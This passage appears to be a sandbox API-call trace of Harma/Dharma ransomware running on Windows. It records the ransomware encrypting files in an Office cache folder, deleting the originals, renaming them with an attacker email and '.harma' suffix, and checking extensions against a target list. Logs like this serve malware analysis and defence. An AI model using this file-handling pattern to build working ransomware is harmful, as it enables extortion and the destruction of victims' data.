lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.950] SetEndOfFile (hFile=0x200) returned 1 [0054.951] CloseHandle (hObject=0x200) returned 1 [0054.951] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.951] SetEndOfFile (hFile=0x1ec) returned 1 [0054.957] CloseHandle (hObject=0x1ec) returned 1 [0054.957] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0054.957] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0054.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.958] lstrlenW (lpString=".doc") returned 4 [0054.958] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.958] lstrlenW (lpString=".docx") returned 5 [0054.958] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0054.958] lstrlenW (lpString=".pdf") returned 4 [0054.958] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.958] lstrlenW (lpString=".xls") returned 4 [0054.958] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.958] lstrlenW (lpString=".xlsx") returned 5 [0054.958] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0054.958] lstrlenW (lpString=".ppt") returned 4 [0054.958] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.958] lstrlenW (lpString=".zip") returned 4 [0054.958] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.958] lstrlenW (lpString=".rar") returned 4 [0054.958] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.958] lstrlenW (lpString=".bz2") returned 4 [0054.958] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.958] lstrlenW (lpString=".7z") returned 3 [0054.958] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.959] lstrlenW (lpString=".dbf") returned 4 [0054.959] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.959] lstrlenW (lpString=".1cd") returned 4 [0054.959] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.959] lstrlenW (lpString=".jpg") returned 4 [0054.959] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.959] lstrlenW (lpString=".doc") returned 4 [0054.959] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0054.959] lstrlenW (lpString=".docx") returned 5 [0054.959] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0054.959] lstrlenW (lpString=".pdf") returned 4 [0054.959] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0054.959] lstrlenW (lpString=".xls") returned 4 [0054.959] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0054.959] lstrlenW (lpString=".xlsx") returned 5 [0054.959] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0054.959] lstrlenW (lpString=".ppt") returned 4 [0054.959] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0054.959] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.959] lstrlenW (lpString=".zip") returned 4 [0054.960] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0054.960] lstrlenW (lpString=".rar") returned 4 [0054.960] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0054.960] lstrlenW (lpString=".bz2") returned 4 [0054.960] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0054.960] lstrlenW (lpString=".7z") returned 3 [0054.960] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0054.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.960] lstrlenW (lpString=".dbf") returned 4 [0054.960] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0054.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.960] lstrlenW (lpString=".1cd") returned 4 [0054.960] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0054.960] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0054.960] lstrlenW (lpString=".jpg") returned 4 [0054.960] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0054.960] lstrcmpiW (lpString1=".manifest", lpString2=".harma") returned 1 [0054.960] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0054.961] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.961] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=1857) returned 1 [0054.961] CloseHandle (hObject=0x1ec) returned 1 [0054.961] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0054.962] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0054.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0054.962] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.962] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0054.962] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0054.963] GetLastError () returned 0x0 [0054.963] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x741, lpOverlapped=0x0) returned 1 [0055.137] WriteFile (in: hFile=0x200, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x750, lpOverlapped=0x0) returned 1 [0055.141] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0055.141] WriteFile (in: hFile=0x200, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x10a, lpOverlapped=0x0) returned 1 [0055.141] SetEndOfFile (hFile=0x200) returned 1 [0055.141] CloseHandle (hObject=0x200) returned 1 [0055.141] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.142] SetEndOfFile (hFile=0x1ec) returned 1 [0055.143] CloseHandle (hObject=0x1ec) returned 1 [0055.143] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.143] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0055.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.143] lstrlenW (lpString=".doc") returned 4 [0055.143] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0055.143] lstrlenW (lpString=".docx") returned 5 [0055.143] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0055.144] lstrlenW (lpString=".pdf") returned 4 [0055.144] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString=".xls") returned 4 [0055.144] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString=".xlsx") returned 5 [0055.144] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0055.144] lstrlenW (lpString=".ppt") returned 4 [0055.144] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.144] lstrlenW (lpString=".zip") returned 4 [0055.144] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString=".rar") returned 4 [0055.144] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString=".bz2") returned 4 [0055.144] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString=".7z") returned 3 [0055.144] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0055.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.144] lstrlenW (lpString=".dbf") returned 4 [0055.144] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.144] lstrlenW (lpString=".1cd") returned 4 [0055.144] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0055.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.144] lstrlenW (lpString=".jpg") returned 4 [0055.144] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.145] lstrlenW (lpString=".doc") returned 4 [0055.145] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString=".docx") returned 5 [0055.145] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0055.145] lstrlenW (lpString=".pdf") returned 4 [0055.145] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString=".xls") returned 4 [0055.145] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString=".xlsx") returned 5 [0055.145] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0055.145] lstrlenW (lpString=".ppt") returned 4 [0055.145] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.145] lstrlenW (lpString=".zip") returned 4 [0055.145] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString=".rar") returned 4 [0055.145] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString=".bz2") returned 4 [0055.145] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0055.145] lstrlenW (lpString=".7z") returned 3 [0055.145] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0055.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.145] lstrlenW (lpString=".dbf") returned 4 [0055.146] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0055.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.146] lstrlenW (lpString=".1cd") returned 4 [0055.146] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0055.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0055.146] lstrlenW (lpString=".jpg") returned 4 [0055.146] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0055.146] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0055.146] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0055.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.146] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=3702272) returned 1 [0055.146] CloseHandle (hObject=0x1ec) returned 1 [0055.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0055.147] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0055.147] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0055.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.148] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0055.148] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0055.148] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.151] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0055.151] ReadFile (in: hFile=0x1ec, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.162] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.162] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0055.162] ReadFile (in: hFile=0x1ec, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.423] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0055.423] WriteFile (in: hFile=0x1ec, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0055.444] SetEndOfFile (hFile=0x1ec) returned 1 [0055.444] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0055.532] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0055.532] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.534] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0055.534] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.538] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0055.538] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.540] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0055.540] CloseHandle (hObject=0x1ec) returned 1 [0055.540] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0055.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.541] lstrlenW (lpString=".doc") returned 4 [0055.541] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.541] lstrlenW (lpString=".docx") returned 5 [0055.541] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.541] lstrlenW (lpString=".pdf") returned 4 [0055.541] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.541] lstrlenW (lpString=".xls") returned 4 [0055.541] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.541] lstrlenW (lpString=".xlsx") returned 5 [0055.541] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.541] lstrlenW (lpString=".ppt") returned 4 [0055.541] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.541] lstrlenW (lpString=".zip") returned 4 [0055.541] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.541] lstrlenW (lpString=".rar") returned 4 [0055.541] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.541] lstrlenW (lpString=".bz2") returned 4 [0055.541] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.541] lstrlenW (lpString=".7z") returned 3 [0055.541] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.541] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.541] lstrlenW (lpString=".dbf") returned 4 [0055.541] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.542] lstrlenW (lpString=".1cd") returned 4 [0055.542] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.542] lstrlenW (lpString=".jpg") returned 4 [0055.542] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.542] lstrlenW (lpString=".doc") returned 4 [0055.542] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.542] lstrlenW (lpString=".docx") returned 5 [0055.542] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.542] lstrlenW (lpString=".pdf") returned 4 [0055.542] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.542] lstrlenW (lpString=".xls") returned 4 [0055.542] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.542] lstrlenW (lpString=".xlsx") returned 5 [0055.542] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.542] lstrlenW (lpString=".ppt") returned 4 [0055.542] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.542] lstrlenW (lpString=".zip") returned 4 [0055.542] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.542] lstrlenW (lpString=".rar") returned 4 [0055.542] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.542] lstrlenW (lpString=".bz2") returned 4 [0055.542] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.542] lstrlenW (lpString=".7z") returned 3 [0055.542] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.542] lstrlenW (lpString=".dbf") returned 4 [0055.543] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.543] lstrlenW (lpString=".1cd") returned 4 [0055.543] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.543] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.543] lstrlenW (lpString=".jpg") returned 4 [0055.543] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.543] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0055.543] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0055.543] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0055.543] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=868864) returned 1 [0055.543] CloseHandle (hObject=0x1ec) returned 1 [0055.544] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all 